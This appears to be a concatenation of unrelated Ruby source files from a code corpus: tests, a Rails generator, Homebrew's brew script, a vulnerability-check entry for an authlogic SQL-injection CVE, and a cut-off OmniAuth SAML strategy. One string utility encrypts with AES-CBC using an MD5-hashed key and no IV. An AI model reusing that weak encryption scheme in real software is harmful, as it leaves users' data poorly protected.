s.email = '[email protected]'
s.files = Dir['{lib}/**/*', 'bin/*', '*.md']
s.require_path = 'lib'
s.homepage = 'https://github.com/schmich/rdb'
s.license = 'MIT'
s.required_ruby_version = '>= 2.0.0'
s.add_runtime_dependency 'byebug', '~> 3.4'
s.add_runtime_dependency 'sinatra', '~> 1.4'
s.add_runtime_dependency 'sinatra-contrib', '~> 1.4'
s.add_runtime_dependency 'sinatra-sse', '~> 0.1'
s.add_runtime_dependency 'msgpack', '~> 0.5'
s.add_runtime_dependency 'hashery', '~> 2.1'
s.add_runtime_dependency 'cod', '~> 0.5'
s.add_runtime_dependency 'launchy', '~> 2.4'
s.add_runtime_dependency 'thor', '~> 0.19'
s.add_runtime_dependency 'thin', '~> 1.4'
s.add_development_dependency 'rake', '~> 10.3'
end
| 40.9 | 163 | 0.675632 |
03256ea98102325ef1e699fb84aa753eaec4e5a7 | 532 | require 'rails_helper'
describe BiddingStatusPresenter::Expiring do
describe '#label_class' do
it 'returns the correct label class' do
auction = build(:auction)
presenter = BiddingStatusPresenter::Expiring.new(auction)
expect(presenter.label_class).to eq 'expiring'
end
end
describe '#label' do
it 'returns the correct label' do
auction = build(:auction)
presenter = BiddingStatusPresenter::Expiring.new(auction)
expect(presenter.label).to eq 'Expiring'
end
end
end
| 22.166667 | 63 | 0.701128 |
f7d6e270e8ed9e2c31d743d473885cfa335d643e | 1,399 | require "test_helper"
class InterventionStatesControllerTest < ActionDispatch::IntegrationTest
setup do
@intervention_state = intervention_states(:one)
end
test "should get index" do
get intervention_states_url
assert_response :success
end
test "should get new" do
get new_intervention_state_url
assert_response :success
end
test "should create intervention_state" do
assert_difference('InterventionState.count') do
post intervention_states_url, params: { intervention_state: { description: @intervention_state.description } }
end
assert_redirected_to intervention_state_url(InterventionState.last)
end
test "should show intervention_state" do
get intervention_state_url(@intervention_state)
assert_response :success
end
test "should get edit" do
get edit_intervention_state_url(@intervention_state)
assert_response :success
end
test "should update intervention_state" do
patch intervention_state_url(@intervention_state), params: { intervention_state: { description: @intervention_state.description } }
assert_redirected_to intervention_state_url(@intervention_state)
end
test "should destroy intervention_state" do
assert_difference('InterventionState.count', -1) do
delete intervention_state_url(@intervention_state)
end
assert_redirected_to intervention_states_url
end
end
| 28.55102 | 135 | 0.781272 |
ace1fd37462ab08e1a60b207869cce413e4605a9 | 3,468 | require 'spec_helper'
###
Company = Struct.new(:name, :address) do
def creator
User.new('dux', '[email protected]')
end
def user
User.new('dux', '[email protected]')
end
end
User = Struct.new(:name, :email) do
def company
Company.new('ACME', 'Nowhere 123')
end
end
JsonExporter.define :company do
prop :name
prop :address
prop :v_check, :v_1
version 3 do
prop :v_check, :v_3
end
if version >= 4
prop :extra, :spicy
end
prop :creator, export(model.user)
end
JsonExporter.define :generic_name do
prop :name
response[:foo] = :bar
end
class JsonExporter
define User do
export :company
prop :v_check, :v_1
version 3 do
prop :v_check, :v_3
end
prop :name
prop :email
prop :is_admin do
user && user.name.include?('dux') ? true : false
end
end
end
# default export after filter
JsonExporter.filter do
prop :foo, :bar
response[:meta] = {
class: model.class.to_s,
}
end
class GenericExporter < JsonExporter
filter do
response[:history] ||= []
response[:history].push :parent
end
define do
prop :name
prop(:calc) { model.num * 3 }
end
end
class GenericExporterChild < GenericExporter
filter do
response[:history].push :child
end
define do
prop :name
prop :history, [:start]
prop(:calc) { model.num * 3 }
end
end
###
describe JsonExporter do
it 'expects basic export to work' do
name = 'ACME 1'
address = 'Nowhere 123'
company = Company.new(name, address)
result = JsonExporter.export(company)
expect(result[:name]).to eq(name)
expect(result[:address]).to eq(address)
end
it 'exports complex object' do
some_user = User.new 'dux', '[email protected]'
response = JsonExporter.export some_user, user: some_user
expect(response[:is_admin]).to eq(true)
user = User.new 'dino', '[email protected]'
response = JsonExporter.export user, user: user
expect(response[:is_admin]).to eq(false)
end
it 'exports naked object' do
company = Company.new 'ACME 1', 'Nowhere 123'
data = JsonExporter.export company, exporter: :generic_name
expect(data[:address]).to be_nil
expect(data[:foo]).to be(:bar)
end
it 'exports deep if needed' do
user = User.new 'dux', '[email protected]'
response = JsonExporter.export user, user: user, depth: 3
expect(response[:company][:creator][:company][:name]).to eq('ACME')
end
it 'uses after filter' do
user = User.new 'dux', '[email protected]'
response = JsonExporter.export user, user: user, depth: 3
expect(response[:foo]).to eq(:bar)
expect(response[:meta][:class]).to eq('User')
end
it 'uses right versions' do
user = User.new 'dux', '[email protected]'
response = JsonExporter.export user, version: 3
expect(response[:company][:v_check]).to eq(:v_3)
expect(response[:company][:extra]).to eq(nil)
response = JsonExporter.export user, version: 4
expect(response[:company][:v_check]).to eq(:v_3)
expect(response[:company][:extra]).to eq(:spicy)
end
it 'exports via generic exporter' do
data = HashWia.new({ name: 'foo', surname: 'bar', num: 5 })
result = GenericExporter.export data
expect(result[:calc]).to eq(15)
end
it 'applies filters as it should' do
data = HashWia.new({ name: 'dux', num: 1 })
result = GenericExporterChild.export data
expect(result[:history].join('-')).to eq('start-parent-child')
end
end
| 21.276074 | 71 | 0.644175 |
abe7f847a9b3a0098aabb979eb857da3eedc560f | 4,959 | #!/System/Library/Frameworks/Ruby.framework/Versions/Current/usr/bin/ruby -W0
std_trap = trap("INT") { exit! 130 } # no backtrace thanks
HOMEBREW_BREW_FILE = ENV['HOMEBREW_BREW_FILE']
if ARGV == %w{--prefix}
puts File.dirname(File.dirname(HOMEBREW_BREW_FILE))
exit 0
end
require 'pathname'
HOMEBREW_LIBRARY_PATH = Pathname.new(__FILE__).realpath.parent.join("Homebrew")
$:.unshift(HOMEBREW_LIBRARY_PATH.to_s)
require 'global'
if ARGV.first == '--version'
puts HOMEBREW_VERSION
exit 0
elsif ARGV.first == '-v'
puts "Homebrew #{HOMEBREW_VERSION}"
# Shift the -v to the end of the parameter list
ARGV << ARGV.shift
# If no other arguments, just quit here.
exit 0 if ARGV.length == 1
end
# Check for bad xcode-select before anything else, because `doctor` and
# many other things will hang
# Note that this bug was fixed in 10.9
if OS.mac? && MacOS.version < :mavericks && MacOS.active_developer_dir == "/"
odie <<-EOS.undent
Your xcode-select path is currently set to '/'.
This causes the `xcrun` tool to hang, and can render Homebrew unusable.
If you are using Xcode, you should:
sudo xcode-select -switch /Applications/Xcode.app
Otherwise, you should:
sudo rm -rf /usr/share/xcode-select
EOS
end
case HOMEBREW_PREFIX.to_s when '/', '/usr'
# it may work, but I only see pain this route and don't want to support it
abort "Cowardly refusing to continue at this prefix: #{HOMEBREW_PREFIX}"
end
if OS.mac? and MacOS.version < "10.6"
abort <<-EOABORT.undent
Homebrew requires Snow Leopard or higher. For Tiger and Leopard support, see:
https://github.com/mistydemeo/tigerbrew
EOABORT
end
# Many Pathname operations use getwd when they shouldn't, and then throw
# odd exceptions. Reduce our support burden by showing a user-friendly error.
Dir.getwd rescue abort "The current working directory doesn't exist, cannot proceed."
def require? path
require path
rescue LoadError => e
# HACK :( because we should raise on syntax errors but
# not if the file doesn't exist. TODO make robust!
raise unless e.to_s.include? path
end
begin
trap("INT", std_trap) # restore default CTRL-C handler
empty_argv = ARGV.empty?
help_regex = /(-h$|--help$|--usage$|-\?$|^help$)/
help_flag = false
cmd = nil
ARGV.dup.each_with_index do |arg, i|
if help_flag && cmd
break
elsif arg =~ help_regex
help_flag = true
elsif !cmd
cmd = ARGV.delete_at(i)
end
end
cmd = HOMEBREW_INTERNAL_COMMAND_ALIASES.fetch(cmd, cmd)
sudo_check = %w[ install link pin unpin upgrade ]
if sudo_check.include? cmd
if Process.uid.zero? and not File.stat(HOMEBREW_BREW_FILE).uid.zero?
raise <<-EOS.undent
Cowardly refusing to `sudo brew #{cmd}`
You can use brew with sudo, but only if the brew executable is owned by root.
However, this is both not recommended and completely unsupported so do so at
your own risk.
EOS
end
end
# Add contributed commands to PATH before checking.
Dir["#{HOMEBREW_LIBRARY}/Taps/*/*/cmd"].each do |tap_cmd_dir|
ENV["PATH"] += "#{File::PATH_SEPARATOR}#{tap_cmd_dir}"
end
# Add SCM wrappers.
ENV["PATH"] += "#{File::PATH_SEPARATOR}#{HOMEBREW_LIBRARY}/ENV/scm"
internal_cmd = require? HOMEBREW_LIBRARY_PATH.join("cmd", cmd) if cmd
# Usage instructions should be displayed if and only if one of:
# - a help flag is passed AND an internal command is matched
# - a help flag is passed AND there is no command specified
# - no arguments are passed
#
# It should never affect external commands so they can handle usage
# arguments themselves.
if empty_argv || (help_flag && (cmd.nil? || internal_cmd))
# TODO - `brew help cmd` should display subcommand help
require 'cmd/help'
puts ARGV.usage
exit ARGV.any? ? 0 : 1
end
if internal_cmd
Homebrew.send cmd.to_s.gsub('-', '_').downcase
elsif which "brew-#{cmd}"
%w[CACHE CELLAR LIBRARY_PATH PREFIX REPOSITORY].each do |e|
ENV["HOMEBREW_#{e}"] = Object.const_get("HOMEBREW_#{e}").to_s
end
exec "brew-#{cmd}", *ARGV
elsif (path = which("brew-#{cmd}.rb")) && require?(path)
exit Homebrew.failed? ? 1 : 0
else
onoe "Unknown command: #{cmd}"
exit 1
end
rescue FormulaUnspecifiedError
abort "This command requires a formula argument"
rescue KegUnspecifiedError
abort "This command requires a keg argument"
rescue UsageError
onoe "Invalid usage"
abort ARGV.usage
rescue SystemExit
puts "Kernel.exit" if ARGV.verbose?
raise
rescue Interrupt => e
puts # seemingly a newline is typical
exit 130
rescue BuildError => e
e.dump
exit 1
rescue RuntimeError, SystemCallError => e
raise if e.message.empty?
onoe e
puts e.backtrace if ARGV.debug?
exit 1
rescue Exception => e
onoe e
puts "#{Tty.white}Please report this bug:"
puts " #{Tty.em}#{OS::ISSUES_URL}#{Tty.reset}"
puts e.backtrace
exit 1
else
exit 1 if Homebrew.failed?
end
| 29.694611 | 85 | 0.700746 |
39151da65e75e67a1464ef8b3493ceb11957db09 | 15,147 | require 'fileutils'
require 'digest/md5'
require 'active_support/core_ext/string/strip'
require 'rails/version' unless defined?(Rails::VERSION)
require 'open-uri'
require 'uri'
require 'rails/generators'
require 'active_support/core_ext/array/extract_options'
module Rails
module Generators
class AppBase < Base # :nodoc:
DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver )
JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc )
DATABASES.concat(JDBC_DATABASES)
attr_accessor :rails_template
add_shebang_option!
argument :app_path, type: :string
def self.strict_args_position
false
end
def self.add_shared_options_for(name)
class_option :template, type: :string, aliases: '-m',
desc: "Path to some #{name} template (can be a filesystem path or URL)"
class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
class_option :javascript, type: :string, aliases: '-j', default: 'jquery',
desc: 'Preconfigure for selected JavaScript library'
class_option :skip_gemfile, type: :boolean, default: false,
desc: "Don't create a Gemfile"
class_option :skip_bundle, type: :boolean, aliases: '-B', default: false,
desc: "Don't run bundle install"
class_option :skip_git, type: :boolean, aliases: '-G', default: false,
desc: 'Skip .gitignore file'
class_option :skip_keeps, type: :boolean, default: false,
desc: 'Skip source control .keep files'
class_option :skip_action_mailer, type: :boolean, aliases: "-M",
default: false,
desc: "Skip Action Mailer files"
class_option :skip_active_record, type: :boolean, aliases: '-O', default: false,
desc: 'Skip Active Record files'
class_option :skip_puma, type: :boolean, aliases: '-P', default: false,
desc: 'Skip Puma related files'
class_option :skip_action_cable, type: :boolean, aliases: '-C', default: false,
desc: 'Skip Action Cable files'
class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
desc: 'Skip Sprockets files'
class_option :skip_spring, type: :boolean, default: false,
desc: "Don't install Spring application preloader"
class_option :skip_listen, type: :boolean, default: false,
desc: "Don't generate configuration that depends on the listen gem"
class_option :skip_javascript, type: :boolean, aliases: '-J', default: false,
desc: 'Skip JavaScript files'
class_option :skip_turbolinks, type: :boolean, default: false,
desc: 'Skip turbolinks gem'
class_option :skip_test, type: :boolean, aliases: '-T', default: false,
desc: 'Skip test files'
class_option :dev, type: :boolean, default: false,
desc: "Setup the #{name} with Gemfile pointing to your Rails checkout"
class_option :edge, type: :boolean, default: false,
desc: "Setup the #{name} with Gemfile pointing to Rails repository"
class_option :rc, type: :string, default: nil,
desc: "Path to file containing extra configuration options for rails command"
class_option :no_rc, type: :boolean, default: false,
desc: 'Skip loading of extra configuration options from .railsrc file'
class_option :help, type: :boolean, aliases: '-h', group: :rails,
desc: 'Show this help message and quit'
end
def initialize(*args)
@gem_filter = lambda { |gem| true }
@extra_entries = []
super
convert_database_option_for_jruby
end
protected
def gemfile_entry(name, *args)
options = args.extract_options!
version = args.first
github = options[:github]
path = options[:path]
if github
@extra_entries << GemfileEntry.github(name, github)
elsif path
@extra_entries << GemfileEntry.path(name, path)
else
@extra_entries << GemfileEntry.version(name, version)
end
self
end
def gemfile_entries
[rails_gemfile_entry,
database_gemfile_entry,
webserver_gemfile_entry,
assets_gemfile_entry,
javascript_gemfile_entry,
jbuilder_gemfile_entry,
psych_gemfile_entry,
cable_gemfile_entry,
@extra_entries].flatten.find_all(&@gem_filter)
end
def add_gem_entry_filter
@gem_filter = lambda { |next_filter, entry|
yield(entry) && next_filter.call(entry)
}.curry[@gem_filter]
end
def builder
@builder ||= begin
builder_class = get_builder_class
builder_class.include(ActionMethods)
builder_class.new(self)
end
end
def build(meth, *args)
builder.send(meth, *args) if builder.respond_to?(meth)
end
def create_root
valid_const?
empty_directory '.'
FileUtils.cd(destination_root) unless options[:pretend]
end
def apply_rails_template
apply rails_template if rails_template
rescue Thor::Error, LoadError, Errno::ENOENT => e
raise Error, "The template [#{rails_template}] could not be loaded. Error: #{e}"
end
def set_default_accessors!
self.destination_root = File.expand_path(app_path, destination_root)
self.rails_template = case options[:template]
when /^https?:\/\//
options[:template]
when String
File.expand_path(options[:template], Dir.pwd)
else
options[:template]
end
end
def database_gemfile_entry
return [] if options[:skip_active_record]
gem_name, gem_version = gem_for_database
GemfileEntry.version gem_name, gem_version,
"Use #{options[:database]} as the database for Active Record"
end
def webserver_gemfile_entry
return [] if options[:skip_puma]
comment = 'Use Puma as the app server'
GemfileEntry.new('puma', '~> 3.0', comment)
end
def include_all_railties?
options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets, :skip_action_cable).none?
end
def comment_if(value)
options[value] ? '# ' : ''
end
def keeps?
!options[:skip_keeps]
end
def sqlite3?
!options[:skip_active_record] && options[:database] == 'sqlite3'
end
class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
def initialize(name, version, comment, options = {}, commented_out = false)
super
end
def self.github(name, github, branch = nil, comment = nil)
if branch
new(name, nil, comment, github: github, branch: branch)
else
new(name, nil, comment, github: github)
end
end
def self.version(name, version, comment = nil)
new(name, version, comment)
end
def self.path(name, path, comment = nil)
new(name, nil, comment, path: path)
end
def version
version = super
if version.is_a?(Array)
version.join("', '")
else
version
end
end
end
def rails_gemfile_entry
dev_edge_common = [
]
if options.dev?
[
GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH)
] + dev_edge_common
elsif options.edge?
[
GemfileEntry.github('rails', 'rails/rails')
] + dev_edge_common
else
[GemfileEntry.version('rails',
rails_version_specifier,
"Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
end
end
def rails_version_specifier(gem_version = Rails.gem_version)
if gem_version.prerelease?
next_series = gem_version
next_series = next_series.bump while next_series.segments.size > 2
[">= #{gem_version}", "< #{next_series}"]
elsif gem_version.segments.size == 3
"~> #{gem_version}"
else
patch = gem_version.segments[0, 3].join(".")
["~> #{patch}", ">= #{gem_version}"]
end
end
def gem_for_database
# %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql )
case options[:database]
when "oracle" then ["ruby-oci8", nil]
when "postgresql" then ["pg", ["~> 0.18"]]
when "frontbase" then ["ruby-frontbase", nil]
when "mysql" then ["mysql2", [">= 0.3.18", "< 0.5"]]
when "sqlserver" then ["activerecord-sqlserver-adapter", nil]
when "jdbcmysql" then ["activerecord-jdbcmysql-adapter", nil]
when "jdbcsqlite3" then ["activerecord-jdbcsqlite3-adapter", nil]
when "jdbcpostgresql" then ["activerecord-jdbcpostgresql-adapter", nil]
when "jdbc" then ["activerecord-jdbc-adapter", nil]
else [options[:database], nil]
end
end
def convert_database_option_for_jruby
if defined?(JRUBY_VERSION)
case options[:database]
when "oracle" then options[:database].replace "jdbc"
when "postgresql" then options[:database].replace "jdbcpostgresql"
when "mysql" then options[:database].replace "jdbcmysql"
when "sqlite3" then options[:database].replace "jdbcsqlite3"
end
end
end
def assets_gemfile_entry
return [] if options[:skip_sprockets]
gems = []
gems << GemfileEntry.version('sass-rails', '~> 5.0',
'Use SCSS for stylesheets')
gems << GemfileEntry.version('uglifier',
'>= 1.3.0',
'Use Uglifier as compressor for JavaScript assets')
gems
end
def jbuilder_gemfile_entry
comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
GemfileEntry.new 'jbuilder', '~> 2.5', comment, {}, options[:api]
end
def coffee_gemfile_entry
GemfileEntry.version 'coffee-rails', '~> 4.2', 'Use CoffeeScript for .coffee assets and views'
end
def javascript_gemfile_entry
if options[:skip_javascript] || options[:skip_sprockets]
[]
else
gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry]
gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
"Use #{options[:javascript]} as the JavaScript library")
unless options[:skip_turbolinks]
gems << GemfileEntry.version("turbolinks", "~> 5",
"Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks")
end
gems
end
end
def javascript_runtime_gemfile_entry
comment = 'See https://github.com/rails/execjs#readme for more supported runtimes'
if defined?(JRUBY_VERSION)
GemfileEntry.version 'therubyrhino', nil, comment
else
GemfileEntry.new 'therubyracer', nil, comment, { platforms: :ruby }, true
end
end
def psych_gemfile_entry
return [] unless defined?(Rubinius)
comment = 'Use Psych as the YAML engine, instead of Syck, so serialized ' \
'data can be read safely from different rubies (see http://git.io/uuLVag)'
GemfileEntry.new('psych', '~> 2.0', comment, platforms: :rbx)
end
def cable_gemfile_entry
return [] if options[:skip_action_cable]
comment = 'Use Redis adapter to run Action Cable in production'
gems = []
gems << GemfileEntry.new("redis", '~> 3.0', comment, {}, true)
gems
end
def bundle_command(command)
say_status :run, "bundle #{command}"
# We are going to shell out rather than invoking Bundler::CLI.new(command)
# because `rails new` loads the Thor gem and on the other hand bundler uses
# its own vendored Thor, which could be a different version. Running both
# things in the same process is a recipe for a night with paracetamol.
#
# We unset temporary bundler variables to load proper bundler and Gemfile.
#
# Thanks to James Tucker for the Gem tricks involved in this call.
_bundle_command = Gem.bin_path('bundler', 'bundle')
require 'bundler'
Bundler.with_clean_env do
full_command = %Q["#{Gem.ruby}" "#{_bundle_command}" #{command}]
if options[:quiet]
system(full_command, out: File::NULL)
else
system(full_command)
end
end
end
def bundle_install?
!(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
end
def spring_install?
!options[:skip_spring] && !options.dev? && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin")
end
def depend_on_listen?
!options[:skip_listen] && os_supports_listen_out_of_the_box?
end
def os_supports_listen_out_of_the_box?
RbConfig::CONFIG['host_os'] =~ /darwin|linux/
end
def run_bundle
bundle_command('install') if bundle_install?
end
def generate_spring_binstubs
if bundle_install? && spring_install?
bundle_command("exec spring binstub --all")
end
end
def empty_directory_with_keep_file(destination, config = {})
empty_directory(destination, config)
keep_file(destination)
end
def keep_file(destination)
create_file("#{destination}/.keep") if keeps?
end
end
end
end
| 35.978622 | 124 | 0.57008 |
bf76cd3cc2e6cbc93a619286cab10b8d60196981 | 1,225 | module Codesake
module Dawn
module Kb
# Automatically created with rake on 2013-05-06
class CVE_2012_6497
include DependencyCheck
def initialize
message = "The Authlogic gem for Ruby on Rails, when used with certain versions before 3.2.10, makes potentially unsafe find_by_id method calls, which might allow remote attackers to conduct CVE-2012-6496 SQL injection attacks via a crafted parameter in environments that have a known secret_token value, as demonstrated by a value contained in secret_token.rb in an open-source product."
super({
:name=>"CVE-2012-6497",
:cvss=>"AV:N/AC:L/Au:N/C:P/I:N/A:N",
:release_date => Date.new(2013, 1, 4),
:cwe=>"200",
:owasp=>"A9",
:applies=>["rails"],
:kind=>Codesake::Dawn::KnowledgeBase::DEPENDENCY_CHECK,
:message=>message,
:mitigation=>"Please upgrade rails version to the latest stable rails version.",
:aux_links=>["https://groups.google.com/d/topic/rubyonrails-security/DCNTNp_qjFM/discussion"]
})
self.safe_dependencies = [{:name=>"authlogic", :version=>['3.2.10']}]
end
end
end
end
end
| 39.516129 | 398 | 0.643265 |
037ebe9a11942f6a00e66dc6e352544a10e4eff0 | 1,717 |
require 'openssl'
module Support
module StringUtility
def format_empty
(self.empty? || self.blank?) ? "Sem informação" : self
end
def percent_string_of(n)
if n == 0
"0 %"
else
"#{(self.to_f / n.to_f * 100.0).round(2)} %"
end
end
def format_cpf
unless (self.empty? || self.blank?)
@cpf = self
@cpf =~ /(\d{3})\.?(\d{3})\.?(\d{3})-?(\d{2})/
@cpf = "#{$1}.#{$2}.#{$3}-#{$4}"
else
self.format_empty
end
end
def unformat_cpf
self.to_s.gsub('-','').gsub('.','')
end
def format_obfuscator_cpf
@cpf = self
@cpf =~ /(\d{3})\.?(\d{3})\.?(\d{3})-?(\d{2})/
@cpf = "***.***.#{$3}-#{$4}"
end
def format_cnpj
# => 00.000.000/0000-00
unless (self.empty? || self.blank?)
@cnpj = self
@cnpj =~ /(\d{2})\.?(\d{3})\.?(\d{3})\.?(\d{4})-?(\d{2})/
@cnpj = "#{$1}.#{$2}.#{$3}/#{$4}-#{$5}"
else
self.format_empty
end
end
def unformat_cnpj
self.gsub('.','').gsub('-','').gsub('/','')
end
def underline_array
self.split('_')
end
def unformat_phone
self.gsub('(','').gsub(')','').gsub('-','')
end
def encrypt(key)
cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc').encrypt
cipher.key = Digest::MD5.hexdigest key
s = cipher.update(self) + cipher.final
s.unpack('H*')[0].upcase
end
def decrypt(key)
cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc').decrypt
cipher.key = Digest::MD5.hexdigest key
s = [self].pack("H*").unpack("C*").pack("c*")
cipher.update(s) + cipher.final
end
end
end | 21.197531 | 66 | 0.475248 |
7af9de6b810ecaa590d24c727856e1d93a90ac31 | 856 | include KeyPressHandler
def initialize_game_state(args)
puts "init game state..."
args.state.rotation ||= 0
args.state.x ||= 576
args.state.y ||= 100
args.state.player ||= Player.new
args.state.player.x ||= 0
args.state.player.y ||= 0
args.state.player.hp ||= 100
args.state.initial_state_set = true
end
def set_output(args)
args.outputs.sprites << [args.state.x, args.state.y, 128, 64, 'sprites/sanctuary.png']
args.outputs.labels << [580, 400, 'Hello World!']
end
def tick(args)
args.state.initial_state_set ||= false
initialize_game_state(args) unless args.state.initial_state_set
set_output(args)
KeyPressHandler::handle_keypress(args)
# if args.inputs.mouse.click
# args.state.x = args.inputs.mouse.click.point.x - 64
# args.state.y = args.inputs.mouse.click.point.y - 50
# end
end
| 24.457143 | 88 | 0.686916 |
611d8be69b39f779a9ab1caafd0a09d14ae5604f | 62 | module OdptCommon::Modules::Decision::Common::RailwayLine
end
| 20.666667 | 57 | 0.822581 |
ab68cf1e3044928590264d79c186cd968ae0d14a | 4,076 | # Copyright:: Copyright 2015 Trimble Navigation Ltd.
# License:: The MIT License (MIT)
# Original Author:: Thomas Thomassen
require "testup/testcase"
# class Sketchup::Entity
class TC_Sketchup_Entity < TestUp::TestCase
def setup
start_with_empty_model
end
def teardown
# ...
end
class TestUpEvilEntityObserver < Sketchup::EntityObserver
def onChangeEntity(entity)
puts "#{self.class.name}.onChangeEntity(#{entity})"
entity.attribute_dictionaries.delete("TestUp")
end
end # class
# ========================================================================== #
# method Sketchup::Entity.attribute_dictionary
def test_attribute_dictionary_evil_observer_without_operation
model = Sketchup.active_model
edge = model.entities.add_line(ORIGIN, [5,5,5])
observer = TestUpEvilEntityObserver.new
edge.add_observer(observer)
dictionary = edge.attribute_dictionary("TestUp", true)
assert_kind_of(Sketchup::AttributeDictionary, dictionary)
assert(dictionary.deleted?, "Dictionary not deleted")
assert_raises(TypeError) do
dictionary.parent
end
ensure
edge.remove_observer(observer)
end
def test_attribute_dictionary_evil_observer_with_operation
model = Sketchup.active_model
edge = model.entities.add_line(ORIGIN, [5,5,5])
observer = TestUpEvilEntityObserver.new
edge.add_observer(observer)
model.start_operation("TestUp", true)
dictionary = edge.attribute_dictionary("TestUp", true)
assert_kind_of(Sketchup::AttributeDictionary, dictionary)
assert_equal("TestUp", dictionary.name)
assert(dictionary.valid?, "Dictionary deleted")
model.commit_operation
assert_kind_of(Sketchup::AttributeDictionary, dictionary)
assert(dictionary.deleted?, "Dictionary not deleted")
ensure
edge.remove_observer(observer)
end
# ========================================================================== #
# method Sketchup::Entity.persistent_id
def test_persistent_id_edge
skip("Implemented in SU2017") if Sketchup.version.to_i < 17
model = Sketchup.active_model
edge = model.entities.add_line(ORIGIN, [5,5,5])
result = edge.persistent_id
assert_kind_of(Integer, result)
assert(result > 0)
end
def test_persistent_id_vertex
skip("Implemented in SU2017") if Sketchup.version.to_i < 17
model = Sketchup.active_model
edge = model.entities.add_line(ORIGIN, [5,5,5])
result = edge.start.persistent_id
assert_kind_of(Integer, result)
assert(result > 0)
end
def test_persistent_id_page
skip("Implemented in SU2018") if Sketchup.version.to_i < 18
model = Sketchup.active_model
page = model.pages.add("TestUp")
result = page.persistent_id
assert_kind_of(Integer, result)
assert(result > 0)
end
def test_persistent_id_line_style
skip("Implemented in SU2020.0") if Sketchup.version.to_i < 20
model = Sketchup.active_model
line_style = model.line_styles[0]
result = line_style.persistent_id
assert_kind_of(Integer, result)
assert(result > 0)
end
def test_persistent_id_incorrect_number_of_arguments_one
skip("Implemented in SU2017") if Sketchup.version.to_i < 17
model = Sketchup.active_model
edge = model.entities.add_line(ORIGIN, [5,5,5])
assert_raises(ArgumentError) {
edge.persistent_id(nil) {}
}
end
def test_delete_attribute
start_with_empty_model
entities = Sketchup.active_model.entities
group = entities.add_group
group.entities.add_face([0,0,0], [9,0,0], [9,9,0], [0,9,0])
group.set_attribute("SU_DefinitionSet", "hazoo", 15)
result = group.delete_attribute("SU_DefinitionSet", "hazoo")
assert_equal(true, result)
end
def test_delete_attribute_invalid_key
start_with_empty_model
entities = Sketchup.active_model.entities
group = entities.add_group
group.entities.add_face([0,0,0], [9,0,0], [9,9,0], [0,9,0])
result = group.delete_attribute("SU_DefinitionSet", "hazoo")
assert_equal(false, result)
end
end # class
| 27.355705 | 80 | 0.699215 |
91a788c9868aa4bf336f0e846f3b749c1b63c31d | 1,545 | class DarkskyWeather < Formula
desc "Command-line weather from the darksky.net API"
homepage "https://github.com/genuinetools/weather"
url "https://github.com/genuinetools/weather/archive/v0.15.7.tar.gz"
sha256 "e5efd17d40d4246998293de6191e39954aee59c5a0f917f319b493a8dc335edb"
license "MIT"
bottle do
rebuild 1
sha256 cellar: :any_skip_relocation, arm64_monterey: "3908f2bff7bb30a6c668211e255cdb4edfb073e90db2d4fd75addc316b061fc2"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "d21740455ddc5db0a56e33e5f96dd7248d46b680414f5cff834faf3fb670b618"
sha256 cellar: :any_skip_relocation, monterey: "2d45683974e5fb879064182bfde515b4d85945e43916fc11763ae1059c59078d"
sha256 cellar: :any_skip_relocation, big_sur: "af8fc6e9a4a4ed68bd19daabdce01d846f4e8d88028bccca8c9bec090cf53e29"
sha256 cellar: :any_skip_relocation, catalina: "736015c107e06e6251e4007ebc838addfe37ad6fa32683c05fb89be3d1b800f6"
sha256 cellar: :any_skip_relocation, mojave: "a38cef91ca53c2d452353cf3a15198b9946b67e7b601627b5e414359d23fa559"
end
depends_on "go" => :build
def install
project = "github.com/genuinetools/weather"
ldflags = ["-s -w",
"-X #{project}/version.GITCOMMIT=homebrew",
"-X #{project}/version.VERSION=v#{version}"]
system "go", "build", *std_go_args, "-ldflags", ldflags.join(" ")
mv bin/"darksky-weather", bin/"weather"
end
test do
output = shell_output("#{bin}/weather")
assert_match "Current weather is", output
end
end
| 45.441176 | 123 | 0.755987 |
abfad9c8ffe5ba5bb089dc6c9d2988f4e8abebc0 | 316 | class AllowNullObjectInLabel < ActiveRecord::Migration[5.2]
def change
change_column_null(:labels, :label_object_type, true)
change_column_null(:labels, :label_object_id, true)
change_column_default(:labels, :label_object_id, nil)
change_column_default(:labels, :label_object_type, nil)
end
end
| 31.6 | 59 | 0.775316 |
bf56934c84a3c9adf2535601f296c661d47c7ceb | 630 | # A Messages object collects messages that may need to be displayed together
# at the end of a multi-step `brew` command run
class Messages
attr_reader :caveats, :formula_count
def initialize
@caveats = []
@formula_count = 0
end
def record_caveats(f, caveats)
@caveats.push(formula: f.name, caveats: caveats)
end
def formula_installed(_f)
@formula_count += 1
end
def display_messages
display_caveats
end
def display_caveats
return if @formula_count <= 1
return if @caveats.empty?
oh1 "Caveats"
@caveats.each do |c|
ohai c[:formula], c[:caveats]
end
end
end
| 19.6875 | 76 | 0.685714 |
7a37174928ff83cfe20601c3a7174bffa15021d2 | 11,282 | require 'omniauth'
require 'ruby-saml'
module OmniAuth
module Strategies
class SAML
include OmniAuth::Strategy
def self.inherited(subclass)
OmniAuth::Strategy.included(subclass)
end
RUBYSAML_RESPONSE_OPTIONS = OneLogin::RubySaml::Response::AVAILABLE_OPTIONS
option :name_identifier_format, nil
option :idp_sso_target_url_runtime_params, {}
option :request_attributes, [
{ :name => 'email', :name_format => 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', :friendly_name => 'Email address' },
